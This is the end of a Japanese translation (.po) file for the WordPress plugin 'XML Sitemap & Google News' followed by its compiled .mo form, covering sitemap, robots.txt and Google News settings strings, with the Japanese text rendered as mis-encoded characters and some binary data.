line." msgstr "WordPress ãŒå«ã‚ãŸãƒšãƒ¼ã‚¸ã¸ã•らã«è¿½åŠ ã—ãŸã„ä»»æ„ã® (固定) ページã®ã€ãƒ—ロトコル (http/https) ã¨ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’å«ã‚€å®Œå…¨ãª URL を指定ã—ã¦ãã ã•ã„。0ã‹ã‚‰1ã®å„ªå…ˆåº¦ã‚’ URL ã®å¾Œã‚ã¸ç©ºç™½ã§åŒºåˆ‡ã£ã¦æŒ‡å®šã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚URL ã¯ä¸€è¡Œã«ã²ã¨ã¤ã«ã—ã¦ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:436 msgid "Additional URLs to append in an extra XML Sitemap:" msgstr "æ‹¡å¼µ XML サイトマップã¸è¿½åŠ ã™ã‚‹å¤–部㮠URL:" #: includes/class-xmlsitemapfeed-admin.php:435 #: includes/class-xmlsitemapfeed-admin.php:1097 msgid "Include custom URLs" msgstr "カスタム URL ã‚’å«ã‚ã‚‹" #: includes/class-xmlsitemapfeed-admin.php:418 msgid "Only valid sitemaps are allowed in the Sitemap Index. Use your Google/Bing Webmaster Tools to verify!" msgstr "驿­£ãªã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã ã‘ãŒã‚µã‚¤ãƒˆãƒžãƒƒãƒ—インデックスã¨ã—ã¦èªã‚られã¾ã™ã€‚Google/Bing ウェブマスターツールを使ã£ã¦æ¤œè¨¼ã—ã¾ã—ょㆠ!" #: includes/class-xmlsitemapfeed-admin.php:418 msgid "Add the full URL, including protocol (http/https) and domain, of any XML Sitemap that you want to append to the Sitemap Index. Start each URL on a new line." msgstr "サイトマップインデックスã¸è¿½åŠ ã—ãŸã„ XML サイトマップã®ã€ãƒ—ロトコル (http/https) ã¨ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’å«ã‚€å®Œå…¨ãª URL を指定ã—ã¦ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:416 msgid "Additional XML Sitemaps to append to the main XML Sitemap Index:" msgstr "メイン㮠XML サイトマップインデックスã¸è¿½åŠ ã™ã‚‹ XML サイトマップ:" #: includes/class-xmlsitemapfeed-admin.php:415 #: includes/class-xmlsitemapfeed-admin.php:1100 msgid "Include custom XML Sitemaps" msgstr "カスタム XML サイトマップをå«ã‚ã‚‹" #: includes/class-xmlsitemapfeed-admin.php:407 msgid "No taxonomies available for the currently included post types." msgstr "ã„ã¾å«ã‚ã¦ã‚る投稿タイプã«ã¯ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ãŒã‚りã¾ã›ã‚“。" #: includes/class-xmlsitemapfeed-admin.php:392 msgid "You can do this by adding specific robots.txt rules in the %s field above." msgstr "ãã†ã™ã‚‹ã«ã¯ç‰¹å®šã® robots.txt ルールを上ã«ã‚ã‚‹ %s フィールドã¸è¿½åŠ ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:391 msgid "For example, when you use category descriptions with information that is not present elsewhere on your site or if taxonomy pages list posts with an excerpt that is different from, but complementary to the post content. In these cases you might consider including certain taxonomies. Otherwise, if you fear negative affects of duplicate content or PageRank spread, you might even consider disallowing indexation of taxonomies." msgstr "例ãˆã°ã€ã‚µã‚¤ãƒˆã®ã©ã“ã«ã‚‚出ã¦ã“ãªã„情報をカテゴリーã®èª¬æ˜Žã«ä½¿ã£ãŸã‚Šã€æŠ•稿内容ã¨ã¯é•ã†ã‘れã©è£œè¶³ã¨ãªã‚‹æŠœç²‹ã‚’æŒã¤æŠ•稿をタクソノミーã®ãƒšãƒ¼ã‚¸ã§ä¸€è¦§è¡¨ç¤ºã—ãŸã‚Šã™ã‚‹å ´åˆã§ã™ã€‚ã“ã®ã‚ˆã†ãªå ´åˆã¯ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚’å«ã‚ã¦ã‚‚よã„ã§ã—ょã†ã€‚ã—ã‹ã—内容é‡è¤‡ã«ã‚ˆã‚‹æ‚ªå½±éŸ¿ã‚„ PageRank spread ãŒå¿ƒé…ãªã‚‰ã€ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã®ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹åŒ–を許ã•ãªã„ã®ãŒã‚ˆã„ã§ã—ょã†ã€‚" #: includes/class-xmlsitemapfeed-admin.php:390 msgid "It is generally not recommended to include taxonomy pages, unless their content brings added value." msgstr "何ã‹ä¾¡å€¤ã®ã‚る内容ã§ãªã‘れã°ã€ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã®ãƒšãƒ¼ã‚¸ã‚’å«ã‚ã‚‹ã“ã¨ã¯ãµã¤ã†æŽ¨å¥¨ã•れã¾ã›ã‚“。" #: includes/class-xmlsitemapfeed-admin.php:384 msgid "XML Sitemaps for taxonomies" msgstr "タクソノミー㮠XML サイトマップ" #: includes/class-xmlsitemapfeed-admin.php:334 msgid "Priority values are taken as relative values. Setting all to the same (high) value is pointless." msgstr "優先度ã¯ç›¸å¯¾çš„ãªå€¤ã§ã™ã€‚ãœã‚“ã¶åŒã˜ (高ã„) 値ã«ã™ã‚‹ã®ã¯ç„¡æ„味ã§ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:334 msgid "Maximum Priority (1.0) is reserved for the front page, individual posts and, when allowed, posts with high comment count." msgstr "最大ã®å„ªå…ˆåº¦ (1.0) ã¯ã€ãƒ•ロントページã€å€‹åˆ¥æŠ•稿ã€ã‚³ãƒ¡ãƒ³ãƒˆ (許å¯ã•れã¦ã„ã‚‹å ´åˆ) ã®å¤šã„投稿ã«äºˆç´„ã•れã¦ã„ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:333 msgid "Priority settings do not affect ranking in search results in any way. They are only meant to suggest search engines which URLs to index first. Once a URL has been indexed, its Priority becomes meaningless until its Lastmod is updated." msgstr "優先度ã®è¨­å®šã¯æ¤œç´¢çµæžœã«ãŠã‘るランキングã¸ã¾ã£ãŸã影響ã—ã¾ã›ã‚“。検索エンジンã«ã©ã® URL を最åˆã«ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã—ã¦æ¬²ã—ã„ã‹ã‚’ä¼ãˆã‚‹ã ã‘ã§ã™ã€‚ã„ã£ãŸã‚“ URL ãŒã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã•れるã¨ã€å„ªå…ˆåº¦ã¯ Lastmod ãŒæ›´æ–°ã•れるã¾ã§ã¯ç„¡è¦–ã•れã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:323 #: includes/class-xmlsitemapfeed-admin.php:588 msgid "Attached images" msgstr "添付画åƒ" #: includes/class-xmlsitemapfeed-admin.php:315 #: includes/class-xmlsitemapfeed-admin.php:581 msgid "Add image tags for" msgstr "image タグを付加:" #: includes/class-xmlsitemapfeed-admin.php:310 msgid "Set this if discussion on your site warrants reindexation upon each new comment." msgstr "æ–°ã—ãコメントãŒã¤ã„ãŸã¨ãã«å†ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã‚’行ã‚ã›ãŸã‘れã°ã‚»ãƒƒãƒˆã—ã¦ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:300 msgid "Priority can be overridden on individual posts." msgstr "投稿ã”ã¨ã«å„ªå…ˆåº¦ã‚’変更ã§ãã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:298 #: includes/class-xmlsitemapfeed-admin.php:902 msgid "Priority" msgstr "優先度:" #: includes/class-xmlsitemapfeed-admin.php:293 msgid "Split by year if you experience errors or slow sitemaps. In very rare cases, split by month is needed." msgstr "サイトマップ生æˆãŒå¤±æ•—ã—ãŸã‚Šé…ã‹ã£ãŸã‚Šã—ãŸã‚‰å¹´ã§åˆ†ã‘ã¦ãã ã•ã„。ã”ãã¾ã‚Œã«æœˆã§åˆ†ã‘ã‚‹å¿…è¦ãŒã‚ã‚‹ã‹ã‚‚ã—れã¾ã›ã‚“。" #: includes/class-xmlsitemapfeed-admin.php:283 msgid "Split by" msgstr "分割:" #: includes/class-xmlsitemapfeed-admin.php:279 msgid "Month" msgstr "月" #: includes/class-xmlsitemapfeed-admin.php:278 msgid "Year" msgstr "å¹´" #: includes/class-xmlsitemapfeed-admin.php:239 msgid "XML Sitemaps for post types" msgstr "投稿タイプ㮠XML サイトマップ" #: includes/class-xmlsitemapfeed-admin.php:227 #: includes/class-xmlsitemapfeed-admin.php:467 msgid "For ping options, go to %s." msgstr "ping オプション㯠%s ã§è¨­å®šã—ã¦ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:226 msgid "These settings control the XML Sitemaps generated by the %s plugin." msgstr "以下ã®è¨­å®šã¯ %s プラグインãŒç”Ÿæˆã™ã‚‹ XML サイトマップを制御ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:224 #: includes/class-xmlsitemapfeed-admin.php:225 #: includes/class-xmlsitemapfeed-admin.php:226 #: includes/class-xmlsitemapfeed-admin.php:462 #: includes/class-xmlsitemapfeed-admin.php:463 #: includes/class-xmlsitemapfeed-admin.php:464 msgid "XML Sitemap & Google News Feeds" msgstr "XML サイトマップ & Google ニュースフィード" #: includes/class-xmlsitemapfeed-admin.php:224 #: includes/class-xmlsitemapfeed-admin.php:225 #: includes/class-xmlsitemapfeed-admin.php:462 #: includes/class-xmlsitemapfeed-admin.php:463 msgid "Donate to keep the free %s plugin development & support going!" msgstr "ç„¡æ–™ %s プラグインã®é–‹ç™ºã¨ã‚µãƒãƒ¼ãƒˆã‚’ç¶šã‘られるよã†ã«å¯„付をãŠé¡˜ã„ã—ã¾ã™ !" #: includes/class-xmlsitemapfeed-admin.php:209 #: includes/class-xmlsitemapfeed-admin.php:1066 msgid "Reset XML sitemaps" msgstr "XML サイトマップをリセット" #: includes/class-xmlsitemapfeed-admin.php:203 msgid "Only add rules here when you know what you are doing, otherwise you might break search engine access to your site." msgstr "内容をç†è§£ã—ãªã„ã§ãƒ«ãƒ¼ãƒ«ã‚’追加ã™ã‚‹ã¨ã€æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ãŒã‚µã‚¤ãƒˆã‚’アクセスã™ã‚‹å¦¨ã’ã¨ãªã‚‹å ´åˆãŒã‚りã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:203 msgid "These rules will not have effect when you are using a static robots.txt file." msgstr "é™çš„㪠robots.txt ファイルを使ã£ã¦ã„ã‚‹å ´åˆã€ã“ã®ãƒ«ãƒ¼ãƒ«ã¯åŠ¹æžœãŒã‚りã¾ã›ã‚“。" #: includes/class-xmlsitemapfeed-admin.php:202 msgid "Rules that will be appended to the %s generated by WordPress:" msgstr "WordPress ãŒç”Ÿæˆã™ã‚‹ %s ã¸è¿½åŠ ã™ã‚‹ãƒ«ãƒ¼ãƒ«:" #: includes/class-xmlsitemapfeed-admin.php:201 #: includes/class-xmlsitemapfeed-admin.php:392 #: includes/class-xmlsitemapfeed-admin.php:1059 msgid "Additional robots.txt rules" msgstr "robots.txt ã®è¿½åŠ ãƒ«ãƒ¼ãƒ«" #: includes/class-xmlsitemapfeed-admin.php:140 msgid "Successfully sent %1$s on %2$s." msgstr "– %2$s ã« %1$s ã®é€ä¿¡æˆåŠŸã€‚" #: includes/class-xmlsitemapfeed-admin.php:84 msgid "Ping-O-Matic" msgstr "Ping-O-Matic" #: includes/class-xmlsitemapfeed-admin.php:81 msgid "Baidu" msgstr "Baidu" #: includes/class-xmlsitemapfeed-admin.php:78 msgid "Yandex" msgstr "Yandex" #: includes/class-xmlsitemapfeed-admin.php:75 msgid "Bing & Yahoo" msgstr "Bing & Yahoo" #: includes/class-xmlsitemapfeed-admin.php:72 msgid "Google" msgstr "Google" #: includes/class-xmlsitemapfeed-admin.php:28 #: includes/class-xmlsitemapfeed-admin.php:1071 msgid "Google News Sitemap" msgstr "Google ニュースサイトマップ" #: includes/class-xmlsitemapfeed-admin.php:23 msgid "XML Sitemap Index" msgstr "XML サイトマップインデックス" #: includes/class-xmlsitemapfeed-admin.php:22 msgid "XML Sitemaps" msgstr "XML サイトマップ"PKø®–[Š_„¹S¹Sxml-sitemap-feed-ja.monu„[µü¤Þ•pœ•p q x ‹ œ– 23 @f 0§ Ø •ô Š Sš î þ  $ 1 6 0ML~5Ëuw†>˜× ë!÷ 2J<â‡j†˜ Ÿ«½ÐÈä­ÁÝðcg´w@,(my–>ÜUr2e¥  * 7D/Mê}`hÉÚ#á =%cjjnÕDP[ ¬Jº f u ‚ ¢  ™Ö ep!®Ö!‡…"î #Mü#JJ$C•$Ù$õ$;%GD% Œ%!š%V¼% ''?'_' q'~'š'¶'½'<Â'4ÿ'J4((8•(2Î( **O%*´u+:*,\e,;Â,þ,®-Ë-vä- [.!h.Š. . .Χ.=v1i´1I2h23 3i@3"ª3lÍ37:5%r5˜5ƒ²5!679X9’9¢9©9½9Ú9%÷9:#;/A;q;;¬;t.<â£=U†>+Ü>ž?§?Q«?Oý?“MA³áA•BœB²B ÂBÏB åB0ðBE!CagDÉDåDUìDBE%IE6oE¦E“­E‡AF'ÉFuñFgG`†GçG¥ïG•H(œH7ÅH%ýH¶#IÚIìZJÔGK=LiZMpÄM`5N'–N¾NpÞNpOO!ÀO-âOJP[Q8rQ«Q(ËQôQ) R,5RbRiR]mR6ËRgSjS8€SCV"cHe[9N& 5LXj(iSY*8FfR b3] <E7 .+DM_-ZU$n,I\2=k!/;dgG@ApO^oaT%#mQB:0 41?h>J' `lK6P)WAccessAdd image tags forAdd the full URL, including protocol (http/https) and domain, of any (static) page that you want to append to the ones already included by WordPress. Optionally add a priority value between 0 and 1, separated with a space after the URL. Start each URL on a new line.Add the full URL, including protocol (http/https) and domain, of any XML Sitemap that you want to append to the Sitemap Index. Start each URL on a new line.Additional URLs to append in an extra XML Sitemap:Additional XML Sitemaps to append to the main XML Sitemap Index:Additional domains to allow in the XML Sitemaps:Additional robots.txt rulesAdjusts the Priority based on factors like age, comments, sticky post or blog page. Individual posts with fixed Priority will always keep that value.Allowed domainsAt least one post type must be selected. By default, the post type %s will be used.Attached imagesAutomatic Priority calculation.BaiduBing & YahooBlogBy default, only the domain %s as used in your WordPress site address is allowed. This means that all URLs that use another domain (custom URLs or using a plugin like Page Links To) are filtered from the XML Sitemap. However, if you are the verified owner of other domains in your Google/Bing Webmaster Tools account, you can include these in the same sitemap. Add these domains, without protocol (http/https) each on a new line. Note that if you enter a domain with www, all URLs without it or with other subdomains will be filtered.By default, the general %s setting will be used.Check this option and Save Changes to start fresh with the default settings.Clear all XML Sitemap & Google News Sitemap settings.Conditional sitemap tags do not work before the sitemap request filter is run. Before then, they always return false.Default genre:Default topic(s):Donate to keep the free %s plugin development & support going!Enable XML sitemapsError: There where no valid post types found. Without at least one public post type, a Google News Sitemap cannot be created by this plugin. Please deselect the option Google News Sitemap at Enable XML sitemaps and choose another method.Exclude from Google News Sitemap.Exclude from XML SitemapFactCheckFeed the hungry spiders in compliance with the XML Sitemap and Google News protocols. Happy with the results? Please leave me a tip for continued development and support. Thanks :)For example, when you use category descriptions with information that is not present elsewhere on your site or if taxonomy pages list posts with an excerpt that is different from, but complementary to the post content. In these cases you might consider including certain taxonomies. Otherwise, if you fear negative affects of duplicate content or PageRank spread, you might even consider disallowing indexation of taxonomies.For ping options, go to %s.Free registrationGoogleGoogle NewsGoogle News GenreGoogle News GenresGoogle News SitemapIf you wish to limit posts that will feature in your News Sitemap to certain categories, select them here. If no categories are selected, posts of all categories will be included in your News Sitemap.Include custom URLsInclude custom XML SitemapsInclude post typesInclude taxonomiesIt is generally not recommended to include taxonomy pages, unless their content brings added value.It is strongly recommended to submit your news sitemap to your Google Webmasters Tools account to monitor for warnings or errors. Read more on how to Manage sitemaps with the Sitemaps page.Keywords may be drawn from, but are not limited to, the list of existing Google News keywords.Leave empty for automatic Priority as configured on %1$s > %2$s.Limit to posts in these post categories:Maximum Priority (1.0) is reserved for the front page, individual posts and, when allowed, posts with high comment count.MonthNo taxonomies available for the currently included post types.Note: Google News prefers at most one image per article in the News Sitemap. If multiple valid images are specified, the crawler will have to pick one arbitrarily. Images in News Sitemaps should be in jpeg or png format.Only add rules here when you know what you are doing, otherwise you might break search engine access to your site.Only valid sitemaps are allowed in the Sitemap Index. Use your Google/Bing Webmaster Tools to verify!OpEdOpinionPaid subscriptionPing-O-MaticPressReleasePriorityPriority can be overridden on individual posts.Priority settings do not affect ranking in search results in any way. They are only meant to suggest search engines which URLs to index first. Once a URL has been indexed, its Priority becomes meaningless until its Lastmod is updated.Priority values are taken as relative values. Setting all to the same (high) value is pointless.Publication nameRavanHRead more about source labels on %sRegistrationReset XML sitemapsRules that will be appended to the %s generated by WordPress:SatireSelecting this will clear all XML Sitemap & Google News Sitemap settings after Save Changes. Are you sure?Selection based on categories will be available when only the post type %s is included above.Separate with a comma.Set this if discussion on your site warrants reindexation upon each new comment.Source labelsSource labels provide more information about the content of your articles.Split bySplit by year if you experience errors or slow sitemaps. In very rare cases, split by month is needed.SubscriptionSuccessfully sent %1$s on %2$s.Tag Password Protected posts asTag normal posts asThe %4$s tag specifies whether an article is available to all readers (%1$s), or only to those with a free (%2$s) or paid membership (%3$s) to your site.The %s tag is used to help classify the articles you submit to Google News by topic.The %s tag specifies one or more properties for an article, namely, whether it is a press release, a blog post, an opinion, an op-ed piece, user-generated content, or satire.The FactCheck label may be applied if you publish stories with fact-checking content that's indicated by schema.org ClaimReview markup.The publication name should match the name submitted on the Google News Publisher Center. If you wish to change it, please read Updated publication name.These rules will not have effect when you are using a static robots.txt file.These settings control the Google News Sitemap generated by the %s plugin.These settings control the XML Sitemaps generated by the %s plugin.Update Lastmod on comments.Use %s for topics.Use Ctrl plus click to select more than one or to deselect.Use the Ctrl/Cmd key plus click to select more than one or to deselect.UserGeneratedWhat does each source label mean?When you are done configuring and preparing your news content and you are convinced your site adheres to the Google News guidelines, go ahead and submit your site for inclusion!XML SitemapXML Sitemap & Google News FeedsXML Sitemap & Google News feedsXML Sitemap IndexXML SitemapsXML Sitemaps for post typesXML Sitemaps for taxonomiesYandexYearYou can assign a different access level when writing a post.You can assign different genres when writing a post.You can do this by adding specific robots.txt rules in the %s field above.http://status301.net/http://status301.net/wordpress-plugins/xml-sitemap-feed/PO-Revision-Date: 2018-10-16 07:16:42+0000 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=1; plural=0; X-Generator: GlotPress/2.4.0-alpha Language: ja_JP Project-Id-Version: Plugins - XML Sitemap & Google News - Stable (latest release) アクセスimage タグを付加:WordPress ãŒå«ã‚ãŸãƒšãƒ¼ã‚¸ã¸ã•らã«è¿½åŠ ã—ãŸã„ä»»æ„ã® (固定) ページã®ã€ãƒ—ロトコル (http/https) ã¨ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’å«ã‚€å®Œå…¨ãª URL を指定ã—ã¦ãã ã•ã„。0ã‹ã‚‰1ã®å„ªå…ˆåº¦ã‚’ URL ã®å¾Œã‚ã¸ç©ºç™½ã§åŒºåˆ‡ã£ã¦æŒ‡å®šã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚URL ã¯ä¸€è¡Œã«ã²ã¨ã¤ã«ã—ã¦ãã ã•ã„。サイトマップインデックスã¸è¿½åŠ ã—ãŸã„ XML サイトマップã®ã€ãƒ—ロトコル (http/https) ã¨ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’å«ã‚€å®Œå…¨ãª URL を指定ã—ã¦ãã ã•ã„。拡張 XML サイトマップã¸è¿½åŠ ã™ã‚‹å¤–部㮠URL:メイン㮠XML サイトマップインデックスã¸è¿½åŠ ã™ã‚‹ XML サイトマップ:XML サイトマップã«è¨±å¯ã™ã‚‹è¿½åŠ ã®ãƒ‰ãƒ¡ã‚¤ãƒ³:robots.txt ã®è¿½åŠ ãƒ«ãƒ¼ãƒ«çµŒéŽæœŸé–“ã€ã‚³ãƒ¡ãƒ³ãƒˆæ•°ã€å…ˆé ­å›ºå®šè¡¨ç¤ºãªã©ã‚’ææ–™ã¨ã—ã¦å„ªå…ˆåº¦ã‚’調整ã—ã¾ã™ã€‚優先度を指定ã—ãŸå€‹åˆ¥æŠ•稿ã¯ãã®å€¤ã‚’ä¿æŒã—ã¾ã™ã€‚許å¯ã™ã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³æŠ•稿タイプをã²ã¨ã¤ä»¥ä¸Šé¸ã‚“ã§ãã ã•ã„。デフォルトã§ã¯æŠ•稿タイプ %s ãŒä½¿ã‚れã¾ã™ã€‚添付画åƒå„ªå…ˆåº¦ã‚’自動計算ã™ã‚‹ã€‚BaiduBing & Yahooブログデフォルトã§ã¯ã€WordPress ã®ã‚µã‚¤ãƒˆã‚¢ãƒ‰ãƒ¬ã‚¹ã§ã‚るドメイン %s ã ã‘ãŒè¨±å¯ã•れã¾ã™ã€‚ã¤ã¾ã‚Šä»–ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ (カスタム URL ã‚„ Page Links To プラグインã«ã‚ˆã‚‹ã‚‚ã®ãªã©) 㯠XML サイトマップã‹ã‚‰é™¤å¤–ã•れã¾ã™ã€‚ã—ã‹ã—ã€Google/Bing ウェブマスターツールã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã§èªè¨¼æ¸ˆã¿ã®ä»–ã®ã‚µã‚¤ãƒˆã®æ‰€æœ‰è€…ãªã‚‰ã€åŒã˜ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã¸ãã®ã‚µã‚¤ãƒˆã‚’å«ã‚ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚プロトコル (http/https) ã‚’å«ã‚ãšã«ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’一行ã«ã²ã¨ã¤æŒ‡å®šã—ã¦ãã ã•ã„。注æ„: ã‚‚ã— www ã‚’ã¤ã‘ã¦ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’指定ã™ã‚‹ã¨ã€www ãªã—ã® URL ã‚„ä»–ã®ã‚µãƒ–ドメインã¯ã™ã¹ã¦é™¤å¤–ã•れã¾ã™ã€‚デフォルトã§ã¯ä¸€èˆ¬è¨­å®šã® %s ãŒä½¿ã‚れã¾ã™ã€‚ãƒã‚§ãƒƒã‚¯ã‚’入れã¦å¤‰æ›´ã‚’ä¿å­˜ã™ã‚‹ã¨ãƒ‡ãƒ•ォルトã®è¨­å®šã§æ–°ã—ãå§‹ã‚られã¾ã™ã€‚XML Sitemap & Google News Sitemap ã®è¨­å®šã‚’ã™ã¹ã¦æ¶ˆåŽ»ã—ã¾ã™ã€‚ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã®æ¡ä»¶åˆ†å²ã‚¿ã‚°ã¯ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—è¦æ±‚フィルターã®å®Ÿè¡Œå‰ã«ã¯å‹•作ã—ã¾ã›ã‚“。ãã®å ´åˆ false ã‚’è¿”ã—ã¾ã™ã€‚デフォルトã®ç¨®é¡ž:デフォルトã®ãƒˆãƒ”ック:ç„¡æ–™ %s プラグインã®é–‹ç™ºã¨ã‚µãƒãƒ¼ãƒˆã‚’ç¶šã‘られるよã†ã«å¯„付をãŠé¡˜ã„ã—ã¾ã™ !XML サイトマップを有効化エラー: æœ‰åŠ¹ãªæŠ•ç¨¿ã‚¿ã‚¤ãƒ—ãŒã‚りã¾ã›ã‚“。公開ã•ã‚ŒãŸæŠ•ç¨¿ã‚¿ã‚¤ãƒ—ãŒãªã‘れã°ã€ã“ã®ãƒ—ラグイン㯠Google ニュースサイトマップを生æˆã§ãã¾ã›ã‚“。有効ã«ã™ã‚‹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã® Google ニュースサイトマップã®ãƒã‚§ãƒƒã‚¯ã‚’外ã—ã€ ä»–ã®æ–¹æ³•ã‚’é¸ã‚“ã§ãã ã•ã„。Google ニュースサイトマップã«å«ã‚ãªã„。XML サイトマップã«å«ã‚ãªã„ファクト ãƒã‚§ãƒƒã‚¯XML Sitemap and Google News ãƒ—ãƒ­ãƒˆã‚³ãƒ«ã«æº–æ‹ ã—ã¦ã„ã‚‹è…¹ãºã“ã®èœ˜è››ã«é£Ÿäº‹ã‚’ã€‚çµæžœã«ã”満足ã„ãŸã ã‘ãŸãªã‚‰ã€é–‹ç™ºã¨ã‚µãƒãƒ¼ãƒˆã‚’ç¶šã‘ã‚‹ãŸã‚ã«ãœã²ã”寄付をãŠé¡˜ã„ã—ã¾ã™ã€‚ã‚りãŒã¨ã† :)例ãˆã°ã€ã‚µã‚¤ãƒˆã®ã©ã“ã«ã‚‚出ã¦ã“ãªã„情報をカテゴリーã®èª¬æ˜Žã«ä½¿ã£ãŸã‚Šã€æŠ•稿内容ã¨ã¯é•ã†ã‘れã©è£œè¶³ã¨ãªã‚‹æŠœç²‹ã‚’æŒã¤æŠ•稿をタクソノミーã®ãƒšãƒ¼ã‚¸ã§ä¸€è¦§è¡¨ç¤ºã—ãŸã‚Šã™ã‚‹å ´åˆã§ã™ã€‚ã“ã®ã‚ˆã†ãªå ´åˆã¯ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚’å«ã‚ã¦ã‚‚よã„ã§ã—ょã†ã€‚ã—ã‹ã—内容é‡è¤‡ã«ã‚ˆã‚‹æ‚ªå½±éŸ¿ã‚„ PageRank spread ãŒå¿ƒé…ãªã‚‰ã€ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã®ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹åŒ–を許ã•ãªã„ã®ãŒã‚ˆã„ã§ã—ょã†ã€‚ping オプション㯠%s ã§è¨­å®šã—ã¦ãã ã•ã„。無料 (登録)GoogleGoogle ニュースGoogle ニュースã®ç¨®é¡žGoogle ニュースã®ç¨®é¡žGoogle ニュースサイトマップニュースサイトマップã«å…¥ã‚Œã‚‹æŠ•稿を特定ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã«é™ã‚‹ã«ã¯ã€ã“ã“ã§é¸ã‚“ã§ãã ã•ã„。ã©ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚‚é¸ã°ãªã‘れã°ã€ã™ã¹ã¦ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã®æŠ•稿ãŒãƒ‹ãƒ¥ãƒ¼ã‚¹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã¸å«ã¾ã‚Œã¾ã™ã€‚カスタム URL ã‚’å«ã‚るカスタム XML サイトマップをå«ã‚る投稿タイプをå«ã‚るタクソノミーをå«ã‚る何ã‹ä¾¡å€¤ã®ã‚る内容ã§ãªã‘れã°ã€ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã®ãƒšãƒ¼ã‚¸ã‚’å«ã‚ã‚‹ã“ã¨ã¯ãµã¤ã†æŽ¨å¥¨ã•れã¾ã›ã‚“。警告やエラーを監視ã™ã‚‹ãŸã‚ã«ãƒ‹ãƒ¥ãƒ¼ã‚¹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã‚’ Google ウェブマスターツールã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¸é€ä¿¡ã™ã‚‹ã“ã¨ã‚’å¼·ãæŽ¨å¥¨ã—ã¾ã™ã€‚詳ã—ãã¯ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—レãƒãƒ¼ãƒˆã§ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—を管ç†ã™ã‚‹æ–¹æ³•を読んã§ãã ã•ã„ã€‚ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¯æ—¢å­˜ã® Google ニュースキーワードã®ãƒªã‚¹ãƒˆã‹ã‚‰é¸ã¹ã¾ã™ãŒã€ãれã«é™å®šã•れã¦ã¯ã„ã¾ã›ã‚“。空ã«ã™ã‚‹ã¨ %1$s > %2$s ã§æŒ‡å®šã—ãŸå„ªå…ˆåº¦ãŒè‡ªå‹•çš„ã«ä½¿ã‚れã¾ã™ã€‚以下ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã®æŠ•稿ã«é™å®š:最大ã®å„ªå…ˆåº¦ (1.0) ã¯ã€ãƒ•ロントページã€å€‹åˆ¥æŠ•稿ã€ã‚³ãƒ¡ãƒ³ãƒˆ (許å¯ã•れã¦ã„ã‚‹å ´åˆ) ã®å¤šã„投稿ã«äºˆç´„ã•れã¦ã„ã¾ã™ã€‚月ã„ã¾å«ã‚ã¦ã‚る投稿タイプã«ã¯ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ãŒã‚りã¾ã›ã‚“。å‚考: Google ニュースã¯ãƒ‹ãƒ¥ãƒ¼ã‚¹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—内ã®è¨˜äº‹ã”ã¨ã«ç”»åƒã‚’最大ã²ã¨ã¤ã¨ã—ã¾ã™ã€‚è¤‡æ•°ã®æœ‰åйãªç”»åƒãŒæŒ‡å®šã•れã¦ã„ã‚‹å ´åˆã€ã‚¯ãƒ­ãƒ¼ãƒ©ãƒ¼ã¯ã²ã¨ã¤ã‚’ä»»æ„ã§é¸ã³ã¾ã™ã€‚ニュースサイトマップ内ã®ç”»åƒã¯ jpeg ã¾ãŸã¯ png 